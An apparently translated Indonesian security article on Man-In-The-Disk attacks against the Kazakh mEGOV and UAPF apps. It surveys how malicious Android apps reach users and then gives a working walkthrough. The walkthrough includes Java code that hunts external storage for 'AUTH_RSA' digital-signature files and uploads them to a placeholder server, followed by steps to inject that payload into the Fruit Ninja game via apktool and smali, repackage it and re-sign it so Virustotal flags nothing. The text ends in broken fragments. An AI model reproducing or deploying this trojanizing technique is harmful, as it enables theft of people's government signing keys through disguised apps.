Aplikasi seluler Kazakhstan mEGOV dan UAPF menggunakan tanda tangan digital sebagai salah satu metode otorisasi. Untuk masuk dengan cara ini, Anda perlu mentransfer file dari tanda tangan digital ke telepon. Metode otorisasi ini rentan terhadap serangan Man-In-The-Disk (lebih lanjut tentang ini secara rinci di bawah). Untuk menjadi korban serangan, Anda hanya perlu menginstal salah satu aplikasi favorit Anda, yang diam-diam dimodifikasi oleh penyerang. Saya akan menunjukkan bagaimana ini bisa dilakukan. Pertama, cari tahu bagaimana aplikasi tersebut bisa sampai ke pengguna.
Cara aplikasi berbahaya di telepon
Pasar aplikasi lokal di Cina, Iran, dll.
Contoh: cafebazaar.ir, android.myapp.com, apkplz.net
Situs-situs ini muncul karena penyensoran dan pemblokiran layanan Google dan / atau server aplikasi resmi. Biasanya mereka berisi analog lokal dari aplikasi populer dan modifikasinya. Modifikasi semacam itu (seperti telegram Iran ini ) berisi fitur-fitur keren yang konon baru. Apa bahayanya aplikasi semacam itu? Anda tidak pernah tahu apa yang sebenarnya mereka lakukan. Selain itu, beberapa pemerintah tidak ketinggalan peluang dan mempublikasikan modifikasi mereka, dengan alat untuk melacak pengguna. Aplikasi mata-mata pemerintah berbahaya menurut definisi. Suatu kali, saya mempelajari aplikasi jahat ( hasil Virustotal , contoh di sini , kata sandi: terinfeksi), yang memindai telepon untuk klon telegram:
"com.hanista.mobogram" "org.ir.talaeii" "ir.hotgram.mobile.android" "ir.avageram.com" "org.thunderdog.challegram" "ir.persianfox.messenger" "com.telegram.hame.mohamad" "com.luxturtelegram.black" "com.talla.tgr" "com.mehrdad.blacktelegram"
Daftar ini menunjukkan relevansi nyata dan popularitas aplikasi tersebut. Meneliti malware ini telah membawa saya ke sebuah artikel yang berbicara tentang klon telegram yang didistribusikan melalui pasar Cafebazaar oleh pemerintah Iran. Kutipan dari sana:
Ini tampaknya dikembangkan dengan spesifikasi pemerintah Iran yang memungkinkan mereka untuk melacak setiap bit dan byte yang diajukan oleh pengguna aplikasi.
Berapa banyak klon telegram yang Anda lihat ?: ( Sumber )

Hampir tidak mungkin bagi pengguna biasa untuk melindungi diri mereka dari hal ini, karena tidak ada pilihan lain - sumber resmi sedang sangat diblokir dan mereka sendiri sedang dipromosikan. Para peneliti dan perusahaan antivirus dari seluruh dunia, setelah mengidentifikasi aplikasi yang terinfeksi, segera melaporkan ini ke Google dan mereka dihapus dari Play Market, yang, jelas, tidak berlaku untuk pasar aplikasi pihak ketiga. Selain itu, kebijakan Google tentang penerimaan aplikasi yang dihosting tidak berlaku untuk mereka.
Beberapa pasar sangat populer, seperti Tencent My App , dengan 260 juta pengguna per bulan ( Sumber )

Aplikasi lokal yang digunakan dalam wilayah / negara yang sama sering menggunakan SDK (kumpulan perpustakaan) yang sama untuk pelacakan iklan, integrasi sosial. jaringan, dll ... Jika perpustakaan yang sama digunakan di beberapa aplikasi, maka dengan probabilitas tinggi, beberapa aplikasi ini dapat diinstal pada satu pengguna. Pustaka semacam itu dapat menggunakan kemampuan aplikasi yang berbeda di mana mereka di dalamnya untuk mencuri data pengguna, melewati izin yang diberikan. Misalnya, satu aplikasi memiliki akses untuk menerima IMEI, tetapi tidak memiliki akses ke Internet. Pustaka bawaan tahu tentang ini dan karena itu membaca IMEI dan menyimpannya di kartu SD dalam folder tersembunyi. Pustaka yang sama dibangun ke dalam aplikasi lain yang memiliki akses Internet tetapi tidak memiliki akses ke IMEI, membacanya dari folder tersembunyi dan mengirimkannya ke servernya. Metode ini digunakan oleh dua perusahaan Cina Baidu dan Salmonads. Anda dapat membaca lebih lanjut tentang ini di sini .
Phishing
Phishing klasik adalah alat utama kelompok internasional dan layanan khusus dari berbagai negara . Seperti yang sering terjadi, aplikasi messenger biasa diambil, fungsionalitas untuk pelacakan ditambahkan ke dalamnya, dan kemudian didistribusikan secara besar-besaran, dengan tanda "Lihat, aplikasi yang keren untuk komunikasi." Pengiriman ke pengguna dapat dilakukan melalui sosial. jaringan, spam Whatsapp / Telegram, iklan internal di situs, dll.

Sumber, hlm. 19.
Tautan phishing, dalam bentuk kiriman di Facebook:

Sumber, hlm. 22
Munculan di satu situs terkenal

Sumber
Bot / grup telegram
Contoh: @apkdl_bot, t.me/fun_android
Ada bot telegram untuk mengunduh file apk. Alih-alih aplikasi yang sah, mereka mungkin memasukkan malware ke Anda. Atau infeksi aplikasi yang Anda minta saat itu juga. Ini berfungsi seperti ini - Anda memasukkan perintah bot / grup yang ingin Anda unduh "Instagram", skrip di sisi lain mengunduhnya dari Google Play, membongkar, menambahkan kode berbahaya, mengemasnya kembali dan mengembalikannya kepada Anda. Bagaimana ini dilakukan secara otomatis, saya akan mencoba menunjukkan contoh dalam waktu dekat.
Situs Mediasi Pihak Ketiga
Contoh: apkpure.com, apkmirror.com, apps.evozi.com/apk-downloader/
Ada sejumlah besar situs tidak resmi untuk mengunduh aplikasi Android. Beberapa dari mereka menyediakan kemampuan untuk mengunduh aplikasi Anda, yang mungkin berbahaya. Unduh contoh di situs ini :

Salah satu contoh malvari yang telah menyebar dengan cara ini ( Sumber ):

Contoh statistik untuk sumber tidak resmi dapat ditemukan di Laporan Keamanan Android 2018 - 1,6 miliar diblokir instalasi Google Play Protect bukan dari Google Play. Ada lebih banyak instalasi.
Beberapa bahkan menulis artikel tentang seberapa baik menggunakan pasar pihak ketiga.
Seluruh dunia terpisah terdiri dari situs yang mendistribusikan aplikasi tanpa iklan, aplikasi berbayar gratis, aplikasi dengan fungsi tambahan:


Google play
Sumber resmi memiliki perlindungan terhadap aplikasi mencurigakan yang disebut Google Play Protect, yang menggunakan pembelajaran mesin untuk menentukan tingkat malware. Tetapi perlindungan semacam itu tidak dapat secara akurat memahami aplikasi mana yang berbahaya dan mana yang tidak, karena ini membutuhkan pemeriksaan manual lengkap. Apa perbedaan antara aplikasi mata-mata yang memonitor semua gerakan Anda dan aplikasi yang berjalan? Para peneliti terus-menerus menemukan ratusan aplikasi terinfeksi yang dipublikasikan di Google Play.
Biasanya aplikasi jahat menyebut dirinya layanan google play atau cara serupa, dan menempatkan ikon serupa . Ini menyesatkan pengguna. Mengapa Google Play tidak memeriksa ikon untuk kesamaan dengan aplikasi resminya tidak jelas. Suatu ketika di telegram, saya menaruh avatar dengan pesawat kertas dan mereka memblokir saya. Metode lain yang digunakan oleh aplikasi jahat adalah mengganti huruf ("L" dengan "I", "g" dengan "q") untuk membuat nama yang mirip dengan aplikasi resmi:

Sumber
Cara lain
Dalam layanan perbaikan telepon
Saat melintasi perbatasan
Sambungkan ke komputer yang tidak dikenal melalui USB, dengan debugging diaktifkan.
Seorang penyerang mendapatkan akses ke akun Google Anda, dan menginstal aplikasi di ponsel Anda melalui Google Play.
Aplikasi yang sudah diinstal sebelumnya
Atas perintah pengadilan dan tanpa. Oleh polisi atau layanan khusus
Serangan lubang berair
Anda datang untuk mengunjungi seorang teman, dan TV- nya menginfeksi ponsel Anda
Versi khusus yang muncul di perangkat Fire TV menginstal sendiri sebagai aplikasi yang disebut "Tes" dengan nama paket "com.google.time.timer". Setelah menginfeksi perangkat Android, ia mulai menggunakan sumber daya perangkat untuk menambang cryptocurrency dan mencoba menyebarkan dirinya ke perangkat Android lain di jaringan yang sama.
Bagaimana penyerang menginfeksi aplikasi android
Sekarang kami mengerti bagaimana aplikasi jahat bisa muncul di ponsel Anda. Selanjutnya, akan ditunjukkan bagaimana seorang penyerang dapat memodifikasi aplikasi android apa pun. Contoh akan digunakan dengan implementasi kode dalam game Fruit Ninja yang populer. Kode memindai memori telepon, mencari file dengan EDS dan mengirimkannya ke server (root tidak diperlukan).
Apa itu Man-In-The-Disk?
Publik memperhatikan vektor serangan ini, setelah artikel ini. Saya menyarankan Anda untuk membacanya terlebih dahulu.
Bagi mereka yang telah membaca, saya akan menambahkan dari diri saya sendiri - memodifikasi file bersama aplikasi lain juga dapat menyebabkan eksploitasi kerentanan di perpustakaan yang menggunakan file-file ini
Siapa yang tidak membaca, saya akan katakan secara singkat. Untuk memulainya, mari kita mendefinisikan konsep. Di android, memori untuk aplikasi dibagi menjadi Penyimpanan Internal dan Penyimpanan Eksternal. Penyimpanan internal adalah memori internal aplikasi, hanya dapat diakses olehnya dan tidak untuk orang lain. Benar-benar setiap aplikasi pada ponsel sesuai dengan pengguna yang terpisah dan folder terpisah dengan hak hanya untuk pengguna ini. Ini adalah mekanisme pertahanan yang hebat. Penyimpanan eksternal - memori utama ponsel, dapat diakses oleh semua aplikasi (ini juga termasuk kartu SD). Mengapa itu dibutuhkan? Ambil aplikasi editor foto. Setelah diedit, Anda harus menyimpan foto sehingga dapat diakses dari galeri. Tentu, jika Anda memasukkannya ke penyimpanan internal, maka itu tidak akan tersedia untuk siapa pun kecuali aplikasi Anda. Atau peramban yang mengunduh semua file ke folder Unduh unduhan.
Setiap aplikasi android memiliki set izinnya sendiri yang diminta. Tapi itu tidak begitu baik untuk mereka. Di antara mereka ada orang-orang yang rela memejamkan mata dan tidak menganggap serius. Diantaranya adalah READ_EXTERNAL_STORAGE. Hal ini memungkinkan aplikasi untuk mengakses memori utama ponsel, dan karenanya untuk semua data aplikasi lain. Lagi pula, tidak ada yang akan terkejut jika aplikasi notebook meminta izin ini. Mungkin perlu baginya untuk menyimpan pengaturan dan cache di sana. Memanipulasi data dari aplikasi lain dalam penyimpanan eksternal adalah serangan Man-In-The-Disk. Resolusi lain yang hampir gagal adalah INTERNET. Seperti namanya, ini memungkinkan aplikasi untuk memiliki akses ke jaringan. Yang paling menyedihkan adalah bahwa pengguna tidak diperlihatkan jendela khusus yang memintanya untuk memberikan izin ini. Anda cukup menuliskannya di aplikasi Anda dan mereka memberikannya kepada Anda.
Saya mengunduh 15 aplikasi Kazakhstani teratas dan menulis skrip yang menampilkan statistik tentang izin yang diminta. Seperti yang Anda lihat, READ_EXTERNAL_STORAGE, WRITE_EXTERNAL_STORAGE dan INTERNET sangat populer. Ini berarti bahwa penyerang tidak dapat dengan mudah menyematkan kode yang mencuri tanda tangan digital di sebagian besar aplikasi.
Daftar aplikasi yang diuji
2-GIS, AliExpress, Chocofood, Chrome, InDriver, Instagram, Kaspi, Kolesa, Krisha, Telegram, VK, WhatsApp, Musik Yandex, Taksi Yandex, Taksi Yandex
, Zakon KZ

Jika Anda meletakkan whatsapp di ponsel yang di-root, maka semua korespondensi Anda disimpan dalam teks yang jelas. Rupanya whatsapp tidak menganggap perlu untuk menggunakan enkripsi pada telepon yang "rusak". Juga, dalam penyimpanan eksternal, whatsapp menyimpan SSLSessionCache (Cache berbasis file dari sesi SSL yang ditetapkan). Di masa depan, saya akan mencoba mengeksplorasi bagaimana Anda dapat menggunakan file-file ini yang diterima dari ponsel orang lain.
Telegrams dan Instagram menyimpan gambar cache dalam memori bersama. Hampir semua foto yang Anda lihat, dan yang saling Anda kirim, tersedia untuk aplikasi apa pun di ponsel Anda.

Aplikasi MEGOV dan ENPF mensyaratkan bahwa tanda tangan digital ada di Penyimpanan Eksternal:


Google mengetahui masalah ini dan akan segera mengubah READ_EXTERNAL_STORAGE di Android Q. Quote:
Untuk mengakses file lain yang telah dibuat aplikasi lain, termasuk file dalam direktori "unduhan", aplikasi Anda harus menggunakan Kerangka Akses Penyimpanan, yang memungkinkan pengguna untuk memilih file tertentu.
Buat payload
Mari beralih ke fungsi pemindai utama. Ini akan terdiri dari tiga kelas utama: StageAttack
, MaliciousService
, MaliciousTaskManager
.

StageAttack
- terdiri dari satu metode statis yang memulai serangan kami. Kami secara khusus membuat metode statis transisi, untuk kenyamanan implementasi di kelas jadi.
public class StageAttack { public static void pwn(Context ctx) { Intent intent = new Intent(ctx, MaliciousService.class); ctx.startService(intent); } }
MaliciousService
adalah layanan yang secara rekursif mencari semua penyimpanan eksternal.
private String pwn2(File dir) { String path = null; File[] list = dir.listFiles(); for (File f : list) { if (f.isDirectory()) { path = pwn2(f); if (path != null) return path; } else { path = f.getAbsolutePath(); if (path.contains("AUTH_RSA")) { Log.d(TAG, "AUTH_RSA found here - " + path); return path; } } } return null; }
Jika EDS tidak ditemukan, kami akan mengulangi pencarian setiap 5 detik hingga kami menemukannya. Anda dapat menggunakan interval apa pun. Mengambil interval yang terlalu kecil, layanan kami berisiko dihentikan oleh sistem. Semakin tinggi versi android, semakin parah kebijakan mengenai pengoperasian proses latar belakang. Kami juga tidak dapat menggunakan layanan Foreground, karena untuk ini pemberitahuan harus selalu hang. Bukan menjadi pengembang android, saya menghabiskan banyak waktu untuk menemukan cara untuk menjadwalkan tugas yang akan selesai tepat waktu. Ini tidak sesederhana kelihatannya. Ada beberapa metode yang direkomendasikan untuk ini di android (JobService, WorkManager, setRepeating () AlarmManager). Dokumentasi tidak secara eksplisit menunjukkan bahwa interval tugas harus minimal 15 menit dan waktu pelaksanaannya tergantung pada keinginan sistem. Ini tidak cocok untuk kami, jadi kami menggunakan kelas AlarmManager
, metode setExactAndAllowWhileIdle()
. Ketika tugas selesai, kami merencanakannya lagi, dengan interval yang sama. Ini adalah satu-satunya metode yang saat ini diketahui oleh saya yang memiliki akurasi paling tinggi.
private void scheduleMalService() { Context ctx = getApplicationContext(); AlarmManager alarmMgr = (AlarmManager) ctx.getSystemService(Context.ALARM_SERVICE); Intent intent = new Intent(ctx, MaliciousTaskManager.class); final int _id = (int) System.currentTimeMillis(); PendingIntent alarmIntent = PendingIntent.getBroadcast(ctx, _id, intent, 0); alarmMgr.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, System.currentTimeMillis() + 5000, alarmIntent); }
Jika EDS ditemukan, maka kami mengirim file ke server:
private void sendToServer(String path) { File file = new File(path); URL url = new URL("http://xxxxxxxxxx"); HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection(); urlConnection.setConnectTimeout(30 * 1000); urlConnection.setRequestMethod("POST"); urlConnection.setDoOutput(true); urlConnection.setRequestProperty("Content-Type", "application/octet-stream"); DataOutputStream request = new DataOutputStream(urlConnection.getOutputStream()); request.write(readFileToByteArray(file)); request.flush(); request.close(); int respCode = urlConnection.getResponseCode(); Log.d(TAG, "Return status code: " + respCode); }
Kami memperkenalkan payload
Pertama kita mendekompilasi Fruit Ninja menggunakan apktool . Kami tidak mendekompilasi aplikasi sebelum kode java, karena setelah modifikasi, kami tidak akan dapat merakitnya kembali. Kita perlu mendapatkan kelas yang benar-benar smali. Dan kami juga akan mengimplementasikan kode kami dalam bentuk kode smali.
Apa itu kode smali?
Aplikasi Android dikompilasi menjadi bytecode, yang dijalankan oleh mesin virtual Dalvik. Bytecode itu sendiri sulit dibaca, sehingga bentuknya yang dapat dibaca manusia disebut smali. smali adalah analog dari bahasa assembly, tetapi untuk android.
Lebih lanjut, jika kita ingin muatan kita mulai ketika aplikasi dimulai, kita harus memodifikasi titik masuk. Titik masuk ke aplikasi GUI adalah kelas anak Activity yang menggunakan ACTION_MAIN. Buka folder dengan aplikasi yang dikompilasi, dan temukan di file AndroidManifest.xml:
<activity android:name="com.halfbrick.mortar.MortarGameLauncherActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity>
Kami menemukan kelas com.halfbrick.mortar.MortarGameLauncherActivity
kami com.halfbrick.mortar.MortarGameLauncherActivity
. Sebelum Anda mempelajarinya, mari kita lihat siklus kehidupan Kegiatan, ini akan berguna bagi kami.

Sumber
Buka Aktivitas, bagi saya itu terletak di sepanjang basis path \ smali_classes2 \ com \ halfbrick \ mortar \ MortarGameLauncherActivity.smali . Jika Anda belum pernah melihat kode smali sebelumnya, ini tidak menakutkan, cukup sederhana untuk dibaca dan secara logis jelas.
.class public Lcom/halfbrick/mortar/MortarGameLauncherActivity;
Kami mengetahui bahwa MortarGameLauncherActivity
meluncurkan MortarGameActivity
dan ditutup. Buka MortarGameActivity
. Kami tidak akan berkomentar sepenuhnya tentang itu. Kami tertarik dengan apa yang terjadi dalam metode Oncreate
, karena ia memulai pembuatan aktivitas. Segera setelah itu kami akan memasukkan kode kami. Penting untuk tidak mengganggu garis ketika menempel.
.method protected onCreate(Landroid/os/Bundle;)V .locals 9 :try_start_0 const-string v0, "android.os.AsyncTask" .line 465 invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; :try_end_0 .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0 .line 471 :catch_0 invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V <---------------------------
Sekarang kita membutuhkan kode muatan smali. Kami mengumpulkan pemindai kami di apk dan mendekompilasi. Kami mentransfer tiga kelas yang kami dekompilasi, yang terletak di sepanjang jalan smali \ kz \ c \ signscan , ke folder com / halfbrick / mortar . Ubah nama paket ke semua kelas, dari kz.c.signscan ke com.halfbrick.mortar .
Itu:
.class public Lkz/c/signscan/StageAttack;
Itu menjadi:
.class public Lcom/halfbrick/mortar/StageAttack;
Di kelas smali MainActivity, MainActivity
menerima panggilan telepon payload:
invoke-static {p0}, Lcom/halfbrick/mortar/StageAttack;->pwn(Landroid/content/Context;)V
Dan masukkan ke MortarGameActivity
. Hasilnya, metode onCreate()
terlihat seperti:
... .method protected onCreate(Landroid/os/Bundle;)V .locals 9 :try_start_0 const-string v0, "android.os.AsyncTask" .line 465 invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; :try_end_0 .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0 .line 471 :catch_0 invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V .line 472 invoke-static {p0}, Lcom/halfbrick/mortar/StageAttack;->pwn(Landroid/content/Context;)V .line 473 invoke-static {}, Lcom/halfbrick/mortar/NativeGameLib;->TryLoadGameLibrary()Z .line 475 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameActivity;->getIntent()Landroid/content/Intent; ...
Kelas MaliciousTaskManager
dalam payload adalah BroadcastReceiver, dan MaliciousService
adalah IntentService, jadi kita perlu menuliskannya di manifes.
... <receiver android:name=".MaliciousTaskManager"/> <service android:name=".MaliciousService"/> ...
Kami mengemas semuanya kembali dengan perintah apktool b myfolder
. Hasilnya, kami mendapatkan file apk. Sekarang kita harus menandatanganinya agar android menerima aplikasi kita. Pertama, kami akan menghasilkan kunci yang akan kami tandatangani:
keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
Kami menandatangani apk:
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore my_application.apk alias_name
Virustotal tidak akan menunjukkan kepada kita apa-apa, karena kita tidak melakukan sesuatu yang βilegalβ. - .

, :